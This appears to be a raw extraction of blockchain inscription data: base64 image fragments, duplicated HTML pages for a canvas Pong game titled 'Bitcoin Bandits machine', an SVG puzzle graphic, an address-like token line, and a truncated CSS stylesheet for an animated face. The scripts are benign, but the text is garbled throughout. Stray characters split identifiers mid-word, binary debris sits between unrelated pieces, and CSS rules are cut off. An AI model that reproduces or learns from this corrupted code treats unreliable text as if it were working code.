7tJzy2IL+nL48OFWXReGoYMGCEqBBghKxNG0fm7Y/90Rz6UFDh482PQUFli7dm3TU2CM6aABglKgAYIScQzDyoyJND8/XzjeunVrA7NhnOmgAYLSQR9n6E7YXetqke9c169fX+tn5z/Pl4SMkg4aICgFGiAoEUdNLvjudcUvWNs8kLpjDWiCDhogKAUaICgRx3FKo4gCUVZm3HHrupSSJ3nDuNFBAwSlQAMEJeIYQmEc0sCqDNFGvWz1pi46aICgFGiAoEQc0Cf34qjeDX9ydTaem5sb+eft3bs399M5I/+8QemgAYJSoAGCEnHQKm2JFGZmZpqeAmNABw0QlA66AZ2t2SlN1hrmM848P/fTZ1JKKe3Z89VmJjNiO3fuzMYrf/0zDc6keRev6X4Jt2XLlmyc/zLw/n96tM4ppXTqGSd8Of+lZe1zy9FBAwSlQAMEJeJoQBWxRttjkm7cMdif/7/8yiXdH556rPikl+YXH1tdcqP/zduz4Vmf/9FAcyqzMNqh4zs/M
+HHTU0gppfT8oZ83PYVSOmiAoBRogKBEHC1SFmu0+Yb9Ef/8jzincVHHNu4qRJmnDhogKAUaICgRR4sUxRrHHwfGhw4aICgFGiAoEUcPIsYJUeYBjI4OGiAoHXQPdKtAE3TQAEEp0ABBKdAAQSnQAEEp0ABBWcVRk4hrqYHYdNAAQSnQAEGJOGoi1gD6pYMGCEqBBghKxDFGrBSB8aKDBghKBz1GdM1EtHPnzsLjm2e31zyTE4s4Tx00QFAKNEBQExVx5P9UeWrX32fjIw3MpSmH9hUd+2L9ExnSsk8O+s79xYfv2T3oBUcmWgRA/XTQAEEp0ABBLds8u/3dpicBwGI6aICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKD+H2cdiwgwrFNVAAAAM
AElFTkSuQmCC" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,wM
idth:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaM
ddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;bM
all.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",functiM
on(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAcLUlEQVR4nO3dfbBdVXnH8ediwpskERK5MZRcA2kKDrUFSkWvLyG8xDI0ZKqD2LHRUF7UjtBi0mCxmWkqBQbQAZzyInIJ2hYcbIOklKDGRATRmEhRebmTEJNISCAvkFRBErn9I9n7PPucte7ea7+d55z7/fzTxbr77L1yY1ee89trr93TP3PWkAAAzDmg3QMAALgxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYxQQNAEYxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYxQQNAEYxQQOAUUzQM
AGDUqHYPAHY9uuxb7R4CStI/c1a7h4AcqKABwCgmaAAwiogD3ijj4U8+HrfPuvXUlv6V/zMY933gz6bF7ZD+vOeo+3qdOuarNswRdC4qaAAwigkaAIzq6Z85a6jdg0B9XHGGjjJ8dMRxZd/dIiLyx8dNivs2rdsRt48+9ojM/SHH6v66r9dJYz7hjMlxO/p7YxVHZ6KCBgCjmKABwCgiji6VZWVGZOP3tjiPnXzaxLjtWsXx8+9sjPvGvunAuL3+tV1xe8rBY4ftDzlW94ccW8b1rI9Zx01PPLM5bkerOIg4OhMVNAAYxTroLhBy489XLYeI1tn6qraBUWvj9rgvXTHsuV75zDXOY9P6sxxbxvUuunRp3F64d82+n9/ivobrWH184hoB5/Ad+9m/ezhu65uEek30Vbc6P4oOQQUNAEYxQQOAUUQcHSTkxt8nvv1g3F406qRSxxF9hdY3CfXNK9nbaJ4/ufE/sTGzl7Sc63pxH3tbSn/ivD0nNM6nYoRL7v98y7VDM
r+eS+Ny5X4jbu9X15Nyftxzv/TOlnMP3O1y/57W4reMm/ag3OhsVNAAYxQQNAEYRcRgUEmWIJOOMOqSt4pg3WkUO6uv7uJvdqyMi92xsZCPzeoY/hysuGe58F2U8b5Zz6/Pm7c997E3nxE1WcXQ/KmgAMIoJGgCMIuJos5CHTC6b9U73SWqOONJWcez63etxe55nhcX8Ky4REZHeaxqrHQaf39k4dqjRv3X/sSIisv8c81Xfddc+6hynPl+avMf2BvSHHKv7dZ/+s7KKo/tRQQOAUUzQAGAUEUdNQlZm+KKMwd1vOPt7nb3VCdmLY8uHP6A+qdprn2k575Cjz9ev+/ROevohGX3M9v1xgO+BGtexvuNDxpll/CHHzvvQ+Lh9+5LdcZtVHN2JChoAjKKCLlnoGmZXteyrlGXXK7nHVSbXTUJdTc9bd3DcPvqJxnbjztdAqZuIiWNT+hN96qbkjVPf3+j/5vbGOfaPT48h7Vjf8Yljfedw9Iccq/sTffo1V+rPrfu5M
Sdg9qKABwCgmaAAwioijgDLWMDvjDE+UMbR9W/bBVSj6Cq1vRumv1SH9ec9R9/U6dczcJOxsVNAAYBQTNAAYxVu9M6hyDbMrzvBGGTvd/RPvW+k+fr+QDfv1m7w1/VZvdB7e6t2ZqKABwCgmaAAwilUcTYquzAh9yMQZZ3iijKFfPuc+d06uOMMXZcyYMaPUa6Ncy5cvd/YTbXQ2KmgAMIoJGgCMGrERR2UrM0IfMnHEGb4oY2jHBvc5Uv6dDVmZQZRhG1HGyEIFDQBGMUEDgFEjKuLQscaVfXfHbb13QdGVGaEPmbjiDG+U8fqv3f0ypqXnrjPPjtu+lRlnT7i+tfNJzyVQuwe3zWvpI8oYWaigAcCoEVVB++iqufCNv8A1zM5q2VMpT/pVa6Uc6tNH3R63px7ylsyfO+GMyXE72qhfvxpq/OiDWz5TJdd4moWML8v5io4py3j0OR7cvxMdVfPIRQUNAEYxQQOAUUQc0hRrFLzxF7yG2RFnhEYZIbvVadHXaf11M
3Pc13PWVPTTWKDMmyRJDlHG+kPGljUl/voxIBd2PChoAjGKCBgCjiDhEErFG0ZUZoWuYQ+KMvFGGT1psEfI1PMux+r150XWyxBBlro7IEudorn7feHznc13b9bsAmlFBA4BRTNAAYBQRhzTFGkVXZhiMMnzWvvqyiIicdsIxcd+mdTvidlqscfna89TJSh1aUhnnLnN8gef6onyjpU/HGkcfe0TREaFLUUEDgFFM0ABgFBGHSCLWKLoyo66HTMoQ7cWx8LL3pB570aVL43YUbbxr5rmVjKvbXL5s3+/ri1Nbow6RZKw0bsphtYwJnYEKGgCMooKWZNXc6Tf+QkQ3p86f3PifwZjZS9o0mu73lZvOcfbrbyeARgUNAEYxQQOAUUQc0hRruOKMPa96Pjl8xGEx1tCim1P3bNzb6PR8DV9042ON/6hyzXMX80VJu5fMbhz05TX1DQjmUUEDgFFM0ABgFBGHSDLWcMUZow+pbyw1ih719q0imL+gP27rtbrIR0dJi9TjM
3QtV/7trHRGso4IGAKOYoAHAKCIOkWSs4YozDnxzfWOpUfSo97wPjXcfsPaZ+gYzAgw+vzNuP/HMZmc/oFFBA4BRTNAAYBQRh0gy1nDEGT1H9Lk/99ymigbk9sAdM539qz5xdUvfXXJ25vNe/83tqcfo9+0hnyEVGekN+4cSUVJ3xmnIhwoaAIyighZJVM2uarnn7ce09ImIyE+qqaB9lfJJh7/J2b+q4PX0K5f03tB6fTRvni7O900l0X8GFTQaqKABwCgmaAAwiohDkrGGM844fEJl13bFGb4o4/DRQ5WMQT/GrXdcQ7myREmARgUNAEYxQQOAUXyflaZYwxFn9IwvHnGErMzwRRmXzr3M2T9Jjsw/sCaLfvhS3L6utLNChCgJ4aigAcAoJmgAMIrvWSKJWMMZZ4wdl/lUp9z1ubj9gOoPWZnhizLKfnFAtGF/tKudSPNjxw16BQLvJMxHPy7/n2qT/ovaMRh0BCpoADCKCRoAjCLikKZYwxFnTBvj/ndsmoozM
IqEPmTjjDF+UUfKLA3S0EfncPc+rcTT23+CdhMXp/Uz0Jv2J+AhQqKABwCgmaAAwiohDJBFruOKMaWN6nB8r4yGTkHcgVvXigK/cdE7c1vtC+PpRnF4to+OjcVMOa8dwYBQVNAAYRQUtyarZVS1XuoY54BVbVb04wPfYMY8jV0dv0s/rxOBDBQ0ARjFBA4BRfIeVZKxR+MZf4BrmoHcglvzigGj97abZS+K+xI1B1Y/i9O9W4wYsfKigAcAoJmgAMIqIQ5KxRuGVGYFrmN/mWIGx5cQ/dZ+jhBcHaNH62/kL+uO+69TX7UT/tY+Weu2RSK+KGaPio91LZjcO+vKa+gYE86igAcAoJmgAMIqIQ5KxRtGVGSFRho83ygh4cUAI3yb9vn7kc49nk37d/+4axwP7qKABwCgmaAAwiohDmmKNgiszQqIMEZFFo05q6bvEE2X4XhzwStAVW+l9IXz97BdRnG+Tft0PaFTQAGAUFbRIsmqu6Mafq1L28b5iy7Mv9arMZ3bzM
PYKs8Thycb49oJM3Y8t9rRk6GxU0ABjFBA0ARhFxiCRijaDd5VIijpBYQwt5xZZI8Yhj0Y2Pxe2nbnh/3B7DbnaluveJxnp7/b+cxE3aM4g40EAFDQBGMUEDgFFEHJKMNZxxRskb5acJeQdiGfSKgkU/fCluX1fJ1UauhZe9J/WYG7/1ZA0jQaegggYAo5igAcAoIg5pijUccUbZG+Wn8UUZO/e4V3fktfbVl0VEZOohb4n7fDvY6UeTZW2pwxgx9Ib97/js9+O2jpjkjMl1DgnGUUEDgFFM0ABgFBGHSCLWcMYZFW2U7+OLMtbs/F2p19HRRsS3s13iazhy0Rvzi2dFB6s4oFFBA4BRVNDSVDU7quWq9mH28VXKg7urWQetd7PTu9b5+pGP3vf5ii98N26PH31w4yBuEkKhggYAo5igAcAoIg6RRKzhijOq2ijfxxdlDO5+w9nfW/B6en1uln7ko9eYX33+Uc5jHqoqN0NHooIGAKOYoAHAKL7DSjLWcMUZVW2UM
LyJyw5fOaunzRRmyq9zvv9Hj25vUxvyJlRts2F8q3xrzBDbsh0IFDQBGMUEDgFFEHJKMNVxxRhkb5buiDBFPnOGJMoa2bys8Ds31+LZ+mALl0jsC8ug8sqCCBgCjmKABwCgiDknGGq44I2Sj/HE3XxG3b1D9ISszvFHGznIjDhffhv3aF6d+Q0RELl92XtXD6QrR78sXa2zf81qdw0EHoYIGAKOYoAHAKCIOScYarjjDt/2njjMioQ+ZOOMMT5Qx9Mvn3Ocu0b1PNH4Xm1S//hoebY8ZfXVHNq7fYXMb0KigAcAoKmhJVs2uajlod7nQNcyOatlXKQ/t2OA+R8F/ZxM3qTw3slxVnm9d7/yrzo7b11354LDXDjlWH5/lWF/FGjlBbY7/8+9sdPaH8J0j6tdjYE00sqCCBgCjmKABwCgiDknGGq44o8o1zK44wxtlvP5rd7+M8fRnk/cmlS/WGFrzI2e/jiWi/pBj9fFZopG0P5eOJLL0h0g7B7EGsqCCBgCjmKABM
wCgiDknGGoVXZgSuYXbGGZ4oY9KvikUZWfhWF6StiPBFEr74IeoPOVYfr/v0Swa0iy5d2jJ+Pfa8qzhCV3y44g79+/z07/6p8YOlLYdiBKOCBgCjmKABwCgiDmmKNQquzAh+yMQRZ9QRZfj4VhfoaGD3ktnDnmOhaqcde45aQbNy4M+dxyx9Ro1p/9/P/AX9cdc0dayONbRo/J+cr/9+Gu33nijOfhd97K7//tdhjxUROfTl/x3+gIMbsdIvzvm3Rv+tp6aeG92NChoAjGKCBgCjiDhEErFG0ZUZoQ+ZlBFnLBp1Ukvfxu9tidsPf/LxuH2W42vzjBkzwi546a0iIvLCvOJLDrwPASlpLxF4dm2jvXTyrcMeu/TeRvtrg769TbJ7ac/u1GO2vfHb4X/+mxfi9k2D/xC3o7+X5cu+5fxc/8xZWYaIDkYFDQBG9fTPnFX8ldUd4lFViVzZd3fcvvpTf9Q4qOiNv5or5VCTT5vY0ueqqkVE5s6dW/h6aXZckH6T7YGlM
j+U698df/Hquz4W4evv61GMe/8GPc537/nM/MuzPBwYGnP2dXlkfce3NIiJy8thDgj43cdxYERHZ8squlj4Rka/9Zee9oo0KGgCMYoIGAKOIOETk6vOPittFb/xZiTJCuGIPkfZGHz6Lj/xYrs/VEXekOff+e9MPckiLOpq5oo9Oij3OvOUOERE59a2HFz7X4y/tjNvf/tSFhc9XNypoADCKCRoAjGIdtCRjDcsrM2740lnO/lc+c02ha+g105peP625oo+6Yo/cbzY/tNxx5LHlteHXQ5fF9XfRSSs+Jh9ykIiIjP7x9+O+Y4891nnsunXrWo7RfZPf8SdVDLE2VNAAYBQTNAAYRcQhTbGGgZUZvijD91h0b64RpQuJPupa8fGJQ7M/tKJXfCyWY0Skvas5fvSROUHHf/6h74iIyJn7/6+IyBc+eEaua/v+HixHHzrWcEUZvmN0nw4sowdgmu1Y8JmiQ60MFTQAGMUEDQBGEXGIJGKNonFG6EMmrjjDu8Ob592IM
dXNFHyErPurT+vV98YLvxu03rj29zsEEc4UP61TccewLmyq7dvRQVzuijrmb3rWvsbWxi2GfPuBn7s/1OX4+t/e4uP3Vf5wmLn/1798QEZt7dVBBA4BRVNCSv2qu7Maf7y3iKfsit1PetdR3/MGSuG/h3jVxe+sVlwx7vd5rbnMem9a/dWqjojpAVdM9qj/tmls+/IG4b+J9K+O27r99SWOf6OjP5fsz6b9Xfb7oeP1nmqbOsW5h49vJ78+5a9hz+Nx2/Spn/4XPzh72cyb1n7/v/z56T9DH9O531lBBA4BRTNAAYBQRRwZVrmF2vkXcE2Xkfsy5jXT04ds1L43ra/hCx3FF+KIRfe0yr+m7nsjK1oMzSEY0refQ/5vS8UtXCYw2OgEVNAAYxQQNAEYRcTQpGmeErmF2xRnedyD+Zqezv1skfvc6WnCs7ui9ptHnO8dCFSNEKyxuV+e9eHbY6p3o3As9qyRu96yIsKCrYo1otYZIV8YaGhU0ABjFBA0ARhFxSHqsM
UeVDJs53IPqijNd8C+rz/Tubd1VFVfwPqpxS+BwT98cdl+jzGn7wp2yXzHP/Dn0PqpjmizVyPqhiGRU0ABjFBA0ARvX0z5w11O5B1CXaoUtE5Mq+u+P2lIPHxu2iKzNCHzJxxhm+KCPnuxF1hKNjjfbuNNd+B3TQznYu6952dNwue2e7dm7Y/4N/HtzX2FpCBKV2s3uvZze7M2+5Q0REvv2pC4tfr2RU0ABgFBM0ABjFKg5JxhpFV2YEP2TiijM8UYbsedXdL8VeMjBjxoxCn+9UK1S7jN/B99760bh92kv/Ufh8y5cvF5Fh4oYnfxo3y4gkrl39SNxeUPhsFcr5oIrvnYQWo40IFTQAGEUFLU1Vc8Ebf1kq5UnP6X8X97U3/556FNdXKY8+xN1fUF9fX/pBXa6M30HPkcc0zndovvNNmDAhbkcVdF3eNvqwWq+Xm66aA6ppy2/v9qGCBgCjmKABwCgiDpFErFH4xl9KlOGlYw1flHHgm4c/B9AFZh24TERETn9lM
ddx32dEfdR/8s/9qtMceJCIiN25q3KD97tEnq4OJOAAAJWGCBgCjiDgkGWsUX5mR8988HWv4ogz1SHrS/+W7Zpd4avOOuP2OSUc4+52OrGpEI5feTiG3/ed4QHX9bdAJ/iLXZfVaeL2Cxtdfx+PwVNAAYBQTNAAYRcQhyVij1JUZHq4XBFx44E8a/+GJMnoOPdxzxs6IOFyRg44kfMe6Ygvf59LOnRp7oJApU6a0ewi5rV+/Pm7rP4evvw5U0ABgFBM0ABhFxCFNsUbq7nLZd45Le9dhgoo1fFFGz9uPcfbLT8rdrN3FFzlk/Xmz6JjQz+XlikY68G18GGGooAHAKCpokWTV7NqLObG7XPbXS4XQVbOvUu6ZepyzX2RlrmumyVs1h1TFdVTNVV8HqAoVNAAYxQQNAEYRcYgkYw3XZvkVbZSv6VjDG2WMHVf5OHxccUHQY9WB8kYmPs7x8ah36SZN+8OWvpd/ta4NIymmt7c3bv+2jS8yoIIGAKOYoAHAKCIOkfTNM
8mvYKD8Ra3iijGlj3P+eut85Xq60x62zxB1544m8K0HSPsc66HqMHevbhdEu/Y7Kwc3b2zYOKmgAMIoJGgCMIuIQSd8sP7G7XEU7x6lYwxdlnD/Z/dd1WyUDCltJwUMhQPmooAHAKCZoADCKiEMkGWs4NstP7i5XTcShYw1flHH46KFKrp1F2XtqbNiwQUSS73ir2wELPha3BwYGKjvf3LlzC58bIxMVNAAYRQUtkroXc2J3uYr2XtZVs69SvnTuZc7+SR3yzHJUNYs0Kmf9xmS99rQOi1W7jCpXn+/OO++M2xdccEFp1+hEB4x9a9w+aE/jG6iVtcbRmKyMR6OCBgCjmKABwCgiDknfLD+5u1w1m+PrWMMXZdSxq551K1asEBGRwb9ZP/yBIjLqqGlx+4KH+zOdN8u5s5z36aefTh3fSKRjhAkTJsTtdkYK0ZisjEejggYAo5igAcAoIg7JsFl+hRvlXzj+oX2NuQ81On1RRg276nWiUacc5Ozfu2pQ/dfwEUfIM
ucs4L5AFFTQAGMUEDQBGEXFI+mb5+jHsvJvjx1FGs5AXBDgeQ9+noh32OsWEDzba2zy/Z4vnBlJQQQOAUUzQAGAUEYdI6mb5ep+MtM3xg6IMkQwvCGhw7ROyzwiPOHT0oCMJub+ic5dwXiADKmgAMIoJGgCMIuKQ9M3yfdt/bu59sbUz9CGT1BcEqH7HPiEiUtkWqB2pypUWjnMvPrKxSf/HX/x64wdqXwfL7n7yp3F7zjtPbONI4EIFDQBGUUFL+mb5id3letUPSljDnPqCAN3vegxdRKraYa9T7F3121yf0xXv4vPuUD85vfC566ArXirh7kQFDQBGMUEDgFFEHJJhs/wK1zCnvyBAqXBXvU4xffp0ERG5+BfTK7vGxb8IeHdgZ7wOEh2KChoAjGKCBgCjiDikKdYouDIjdA1zyAsCXI+hi+TfYa8TTQhYX3z88cfH7UceeaS0a+jzLn4282mBYFTQAGAUEzQAGEXEIZKMNQquzMgSZfReo/fE2/eQydZ/+fu4M
xxdluB5DF0nfYa8brV692sa5D+irbBwAFTQAGMUEDQBGEXGIJGONgisz0qIMn7Qd9UT8u+oB6E5U0ABgFBW0SKJqLn7jL9/Ocmk76omI7NzTk+vcADoTFTQAGMUEDQBGEXFIMtYo88ZfFotGnSQiIr9RsYYvyrhn497C1+sWJ598ckeeGwhBBQ0ARjFBA4BRRBySjDWiOKOqKMNHxxq+KGNw9xvO/l5nb3fatm2brWuwYT8qRAUNAEYxQQOAUUQcIjLxPh1hFIsz0qIMHx1r+KIM2TWStuZ327BhQzUnVlFF0DWIOFAhKmgAMIoJGgCMIuIoIG+c4ZKINTxRxtDaZ0q7HvJbv3594z9Oad840P2ooAHAKCroDMqslL1U1eyrlN94qrrXPHUaXcVOmTKl1mtvOO+OuP3xF79e67XLcPeTP43bc955YhtHgjRU0ABgFBM0ABhFxNGkljjDQcca3ijjtV2eT4+8f2fLjjWmr7oqbq845Upnv2U6qiDC6B4j7/+zAaBDM
MEEDgFFEHFJ/rHHx7DFxO44znlIH+KKM13/tOeMYTz+ATkYFDQBGMUEDgFFEHBVyRhki6XGGL8rY86rnSkQc7bJixYq4PX369LaNA92JChoAjGKCBgCjiDhKEsUZQVGGiDvO8EYZsIZYoxx//ZHZcfvpp5+u/HqrV+uHwcZXfr28qKABwCgmaAAwiogjUOrKjNCHTALijElbeQFeX19f5dfQW4guVvtyuH7uc/zxx5c6phC+fTlcP4dtVNAAYBQVtEd9a5hblVEpt2tXvuHo6nfGjBkiIrJ8+fJ2DSejgQw9jk8NNI6K/qztYKFanjapcRPufe97X9zWNwO/eu+SOockMvqwYX+sb1rWPjaFChoAjGKCBgCjiDik5N3lAtcwd2uckSaKO9r59b8uddzY7ESPPflsu4cgIiKDm7e3ewheVNAAYBQTNAAYRcQhTas0WJlRK77+jyx1PMZdBivjpIIGAKOYoAHAKCIOkWSsUXBlBlEGgLJQQQOAUUzQAGAUEYdIMtYgM
zgBgBBU0ABhFBS2SWjVTKQNoBypoADCKCRoAjCLi8MgbaxBlACgLFTQAGMUEDQBGEXEIcQYAm6igAcAoJmgAMIqIIwOiDADtQAUNAEYxQQOAUUQcTYgzAFhBBQ0ARlFBC1UzUKWBgQFnf//MWTWPZHgWx0kFDQBGMUEDgFEjKuLQX1WuWjanjSNpo2dbu3xf7dBe1iIA1I8KGgCMYoIGAKN6+mfOGmr3IAAAraigAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADDq/wHHa3G82a0XeQAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="750" height="5M
85" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.heightM
/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fM
illStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=lefM
tPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaM/
ddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
###///...%%%666888<<<DDD;;9JJJ
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0114/4096 2,3,0,0,1 ~0.8208232764154673-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 7,1 7,2 0,0 "/>
<polyline fill="#F2F652" points="8,0 5,3 5,3 8,8 "/>
<polyline fill="#52F6A8" points="8,8 6,6 6,6 0,8 "/>
<polyline fill="#52F6A8" points="0,0 5,4 5,4 8,0 "/>
DjB=:BNB.BNB:bnb1a2fgqwnjuvya3ve0zc9swskpx98dzk6aqhqk27:28754183:te:0
$DDDDDDDDDDDDDDDDDDDDD+
text/html;charset=utf-8
    <meta charset="utf-8">
    <title>Interactive Ordinal</title>
    <meta name="description" content="">
    <meta name="msapplication-TileColor" content="#da532c">
    <meta name="theme-color" content="#ffffff">
    <meta content="width=device-width, initial-scale=1" name="viewport" />
        :root {--gradientCss: linear-gradient(90deg, rgba(8,231,214,1) 48%, rgba(22,255,0,1) 100%);}
        position: absolute;
        transform: translate(-50%, -50%);
        z-index: 10;
        width: 100vw;
        height: 100vh;
        position: absolute;
        background: var(--gradientCss);
        z-index: -1;
        border-radius: 50%;
        width: 50px;
        height: 50px;
        border-style: nonM
        button:focus {
        .circlebig {
            width: 50%;
            height: 65%;
            position: absolute;
            top:50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border:10px solid #FFF;
            border-radius: 50%;
        .wrapper-eyes{
            position:absolute;
            top:50%;
            left:50%;
            transform: translate(-50%,-50%);
            display:flex;
            justify-content:space-between;
            transform:translate3d(-50%,-70%,0);
            content:"";
            position:absolute;
            top:50%;
            left:50%;
            width:130px;
            height:130px;
            background: #000;
            border-radius:50%;
            transform:translate(-50%,-50%);
            position:relative;
            width:260px;
            background:#fff;
            border-radius:50%;
            animation:eye 3.5s infinite;
        .right span{
            content:"";
            position:relative;
            top:-30%;
            left:10%;
            display:block;
            width:65%;
            height:2%;
            background:#000;
            border: 20px solid #000;
            border-radius:50%;
        .left span:before,
        .right span:before{
            position:absolute;
            top:10px;
            left: -12px;
            width:210px;
            height:30px;
            background: #ff6600;
            border-radius:70% 70% 0 0;
        .eye::after{
            content:"";
            position:absolute;
            top:50%;
            left:50%;
            width:65%;
            height:65%;
            background:#000;
            border-radius:50%;
            transform:translate3d(-50%,-50%,0)M
            animation: eyes 17.5s infinite;
        @keyframes eye{
            height: 260px;
            transform:translate3d(0,0,0);
                height: 0;
                transform: translate3d(0, -50%, 0);
        @keyframes eyes{
                transform:translate3d(-100%,-50%,0)
                transform: translate3d(-50%,-50%,0);
                transform:translate3d(0,-50%,0);
                transform:translate3d(-50%,0,0)
            width: 350px;
            height: 500px;
            position: absolute;
            bottom:0;
            margin: 0 auto 50M
            border-radius: 50% 50% 100% 100%;
            z-index:2;
            top: 55%;
            left: 50%;
            transform: translate(-50%, -50%);
        .cara .boca{
            box-sizing:border-box;
            width: 220px;
            height: 120px;
            background: #000;
            position: absolute;
            top: 330px;
            left: 50%;
            margin-left: -100px;
            border: 20px solid crimson;
            border-bottom-widthM
                border-left-width: 4px;
            border-right-width: 4px;
            border-radius: 100px;
            border-radius: 10px 10px 200px 200px;
            border-radius: 50%;
            overflow: hidden;
            box-shadow: 0 -1px 1.8px 2px rgba(0, 0, 0, 0.3), 0 2px 8px rgba(255, 255, 255, 0.6), 0 15px 25px rgba(0, 0, 0, 0.3);
            transition: all 60ms ease;
